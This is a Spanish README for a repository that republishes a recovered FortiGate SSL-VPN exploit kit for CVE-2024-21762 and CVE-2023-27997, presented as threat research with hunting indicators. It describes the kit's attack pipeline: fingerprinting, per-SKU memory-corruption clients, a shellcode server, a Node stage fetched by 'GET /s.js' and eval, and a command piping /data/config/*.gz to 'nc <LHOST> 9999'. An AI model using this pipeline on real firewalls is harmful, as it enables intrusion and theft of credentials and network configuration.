El tesoro de FortiGate SSL-VPN. CVE-2024-21762 y CVE-2023-27997. 79 clientes de exploit funcionales. 53 SKUs de hardware. 55 compilaciones de FortiOS.
Archivo de investigación. Recuperado tal como se encontró. Yo no escribí estos archivos.
Publicado: 1 de septiembre de 2026
Este repositorio es el orquestador, los payloads de segunda etapa y los listeners de operador que se sitúan sobre un catálogo de exploits de FortiGate SSL-VPN por SKU. La historia completa, los recuentos y las notas de caza viven en la serie The SSL-VPN pot of gold en Abraxas Labs.
No ejecute este material contra ningún host a menos que tenga permiso explícito por escrito tanto de la parte que aloja este repositorio como del propietario de los sistemas objetivo. Los CVE relacionados eran públicos y parcheados antes de esta publicación. Este árbol es para investigación, detección y análisis histórico.
Encontré un kit privado de FortiGate SSL-VPN en la naturaleza. La primera entrega era un directorio de clientes funcionales: nombres como y . Cada archivo es un cliente de corrupción de memoria . Dos n-days públicos, reestampados a través de hardware y firmware hasta que la carpeta parecía un catálogo de piezas.
exp/exp_60E-v6.4.7.pyEl oro está en la matriz de offsets, no en un bug nuevo. Ese argumento está en Fase 0 de la serie. Fase 1 cubre las dos primitivas como comportamiento. Fase 2 es el mapa de SKU / train / CPU buscable. Fase 3 es la caza.
Este repositorio es el resto del mismo kit, no una segunda familia de exploits.
exp/ son los clientes por imagen ya descritos en la serie.shellcode/ son los lanzadores, la descarga de implantes y los listeners de robo de configuración para los que esos clientes fueron escritos.exp_*.py nunca contuvieron el implante. Solo sabían (1) extraer bytes crudos de un "servidor de shellcode" o (2) hacer GET /s.js y eval. Esas piezas faltantes están aquí.Las primitivas:
| Familia | CVE | Aviso de Fortinet | Color público |
|---|---|---|---|
| A | CVE-2024-21762 | FG-IR-24-015 | Assetnote — Two Bytes is Plenty |
| B | CVE-2023-27997 | FG-IR-23-097 | Lexfo — XORtigate, Bishop Fox |
Ambos están en el catálogo de vulnerabilidades explotadas conocidas de CISA. poc.py no implementa ninguno de los dos CVE. Selecciona y envuelve las dos familias ya clasificadas (escritura fragmentada 21762; desbordamiento de heap enc= 27997).
.
├── poc.py # lanzador de pocsuite3 / fingerprint / gestor de procesos
├── s.js # segunda etapa de Node (ladrón de configuración)
├── send_cmd.py # manejador de callback para la ruta del stager
├── init.sh # instalación de paquetes del puesto de trabajo del operador
├── requirements.txt # pwntools
├── exp/
│ └── exp_<SKU>-v<FortiOS>.py
└── shellcode/
├── shellcode_server.py # bomba de blobs con prefijo de longitud
├── shellcode_arm # ~2.0 MB de segunda etapa cruda
└── shellcode_amd64 # ~2.7 MB de segunda etapa cruda
exp/index.html y shellcode/index.html son listados de directorio ordinarios de http.server de Python. Solo muestran que este árbol fue alojado como raíz web en algún momento.
Esta copia de exp/ es el catálogo anterior más cuatro clientes extra: exp_30E-v6.2.4.py, exp_30E-v6.2.12.py, exp_30E-v6.2.14.py, exp_40F-v7.0.5.py.
poc.py orquestador (pocsuite3)
│
├─ portal de fingerprint ──── VERSION_LIBS (hash → SKU + FortiOS)
├─ elegir archivo ─────────── exp/exp_<SKU>-v<ver>.py
│
├─ si el cliente es de tipo "stager" (Familia A ARM / algunos amd64)
│ iniciar shellcode/shellcode_server.py
│ lee shellcode/shellcode_arm o shellcode_amd64
│ iniciar send_cmd.py (esperar callback)
│ iniciar receptor de configuración en :9999
│ ejecutar el exp_*.py elegido
│
└─ si el cliente es de tipo "Node /s.js" (la mayoría de Familia B + muchas Familia A)
servir s.js sobre HTTP
iniciar receptor de configuración en :9999
ejecutar el exp_*.py elegido
→ firewall GET /s.js → eval → exfiltración
Pipeline en una línea: identificar → elegir archivo de offsets → corromper sslvpnd → extraer implante → exfiltrar /data/config/*.gz → archivar en el lado del operador.
Ese último paso es el punto. Un acierto es ejecución de código no autenticada en sslvpnd en el propio firewall — terminador TLS, política de enrutamiento, sesiones VPN, a menudo enlaces LDAP/RADIUS. FortiOS no ofrece un /bin/sh útil. La investigación pública y este kit pasan ambos por un ayudante de comandos interno y/o /bin/node, que FortiOS realmente incluye. Trate un acierto confirmado como compromiso del borde de la red, no un demonio bloqueado. Ver Qué significa un acierto.
poc.py — lanzadorInterfaz de operador (pocsuite3 POCBase). No implementa CVE-2024-21762 ni CVE-2023-27997.
https://<target>/remote/login?lang=en (fallback GB2312)./sslvpn/js/login.js?q=<md5>.VERSION_LIBS (182 filas hash,SKU,version). Esa tabla es la razón por la que el kit puede elegir entre 50+ appliances sin que el operador nombre el SKU. Mismos SKUs que la matriz, impulsada por un hash de recurso SSL-VPN público en lugar de SNMP o una API de gestión.exp/exp_<SKU>-v<version>.py.s.js → tipo 2 (cargador Node)Shellcode Server → tipo 1 (stager); luego busca arm vs amd64 en el scriptPopen del exp_*.py con argumentos de host/puerto/callback.Dirección de operador predeterminada en esta copia: HOST_IP del entorno, si no ATTACKER_HOST. Las direcciones IPv4 literales en este árbol han sido reemplazadas con etiquetas de rol (puertos sin cambios):
| Etiqueta | Rol | Dónde aparecía |
|---|---|---|
TARGET_HOST | FortiGate bajo ataque | Nunca codificado; rhost / target de argv (ver poc.py) |
ATTACKER_HOST | Puesto de trabajo del operador | HOST_IP predeterminado en poc.py; direcciones de bind en poc.py, send_cmd.py, shellcode/shellcode_server.py; marcadores de posición s.js / TFTP en exp_*.py que se rellenan con lhost |
C2_HOST | Callback horneado en esta copia del implante | s.js — no el lhost pasado al exploit |
| Puerto | Rol |
|---|---|
| 7777 | Callback / send_cmd.py |
| 8888 | Servidor de shellcode |
| 9999 | Receptor de configuración (coincide con s.js y la exfiltración de send_cmd.py) |
Si el hash del portal falta en VERSION_LIBS, se detiene con "unknown target hash". Si el hash coincide pero el archivo exp/ está ausente, "no exp".
s.js — la segunda etapa Node faltanteEste es el archivo que los clientes de Familia B / Node Familia A obtienen después de execute_cmd. No es un reverse shell general.
C2_HOST:9999 (host C2, no TARGET_HOST y no el lhost / ATTACKER_HOST pasado al exploit — esta copia fue horneada para un callback de operador)./data/config/ en el firewall.*.gz que no son symlinks (objetos de configuración comprimidos de FortiOS).Eso es un ladrón de configuración. Explica por qué poc.py también escucha en 9999 y reensambla archivos en un resultado base64. Cace C2_HOST en el puerto 9999 desde cualquier egress de FortiGate. Notas de caza: Fase 3.
send_cmd.py — manejador de callback para la ruta del stagerUsado cuando el exp_*.py elegido es del tipo shellcode ARM/amd64 (el uso incluye un servidor de shellcode).
cd /data/config y cat cada *.gz a nc <LHOST> 9999.s.js (robar configuración), transporte diferente (callback de shell vs Node).Una variante comentada usaba framing base64 en lugar de cat crudo.
shellcode/shellcode_server.py — bomba de bytes para stagers de Familia ACoincide con el protocolo ya visible en los stubs ARM32 exp_*.py:
poc.py usa 8888).shellcode_<arch> del mismo directorio.Los stagers exp_*.py se conectan aquí, mapean memoria escribible-ejecutable, extraen el blob, luego se conectan de vuelta a lhost:lport (7777 → send_cmd.py).
Blobs crudos de segunda etapa (~2.0 MB ARM, ~2.7 MB amd64). Son lo que descarga el stager. No son el stub Thumb diminuto dentro de los archivos Python; esos stubs solo obtienen estos archivos. Trátelos como el implante para la ruta no-Node. El tamaño sugiere payloads empaquetados o estáticos, no unas pocas docenas de instrucciones.
init.sh — configuración del puesto de trabajo del operadorNo se usa contra el firewall. Instala build-essential, binutils-arm-linux-gnueabihf y gcc-aarch64-linux-gnu. Eso es para compilar piezas ARM/AArch64 en una caja de ataque tipo Debian. Consistente con un autor que compila stagers en lugar de solo enviar Python.
Una sola línea: pwntools. Los archivos exp_*.py y shellcode_server.py lo importan. poc.py también quiere pocsuite3, python-dotenv, mmh3 y requests.
exp/| Ya descrito en la serie | Rol en este árbol |
|---|---|
Familia A ARM exp_*.py (argumentos de stager) | Primera etapa. Llama a shellcode_server.py + shellcode_arm (o amd64), luego lhost:7777. |
Familia A/B Node exp_*.py (/s.js) | Primera etapa. HTTP GET del s.js padre, luego eval. |
Variantes 6.0 D-series TFTP / /tmp/s | Mismo objetivo s.js vía TFTP; aún espera este archivo en la raíz HTTP del operador. |
Nada en el directorio padre implementa un tercer CVE. Recuentos, mapa de calor de SKU y alineación de trains (Familia A hasta 7.4.0 / 7.4.1; Familia B dentro de la ventana de 27997) están en Fase 0 y Fase 2. Reorientación más pesada en el catálogo original: FortiGate-60E, 100E, 60F, 100F — hardware de oficina sucursal.
La primera entrega se detuvo en "obtener un callback". Los cuerpos de segunda etapa faltaban. Este árbol hace explícito el objetivo:
/data/config/*.gz, no "RCE genérico". Eso es compromiso de credenciales y topología (usuarios VPN, rutas, secretos almacenados en esos objetos).VERSION_LIBS en poc.py es una lista lista para usar de "qué SKU pensaron que era este hash".El reconocimiento del portal y los URIs de primera etapa están documentados en Hunting the kit. Los distintivos ya señalados en escritos públicos y en este árbol:
GET /remote/login y /sslvpn/js/login.js?q=/aaaa/bbbb, /remote/error, /remote/info, /remote/hostcheck_validate con enc=GET /s.js desde el firewallC2_HOST:9999 dentro de esta copia de s.js (host C2)ATTACKER_HOST 7777 / 8888 / 9999 (host atacante)TARGET_HOST es rhost suministrado en tiempo de ejecuciónCace el egress desde el firewall (TARGET_HOST) a C2_HOST:9999 y a cualquier ATTACKER_HOST que sirvió /s.js durante la ventana relevante.
De la introducción:
Un PoC público contra una VM es un artefacto diferente. Este paquete es para quien respondió al reconocimiento.
Si ejecuta FortiGates: inventario de modelo, FortiOS exacto, SSL-VPN activado o desactivado, si el portal era alcanzable desde redes no confiables. Luego lea Fase 2. No inventarie solo cajas de sucursal de la serie 60 porque esos nombres de archivo eran los más ruidosos.
Estos archivos fueron recuperados en la naturaleza durante investigación de seguridad independiente. Yo no los creé. Se publican tal como se encontraron, después de que los CVE relacionados fueron divulgados públicamente y parcheados.
Solo para investigación / uso educativo. No ejecute, despliegue ni use este material contra ningún host a menos que tenga permiso explícito por escrito tanto de la parte que aloja este repositorio como del propietario de los sistemas objetivo.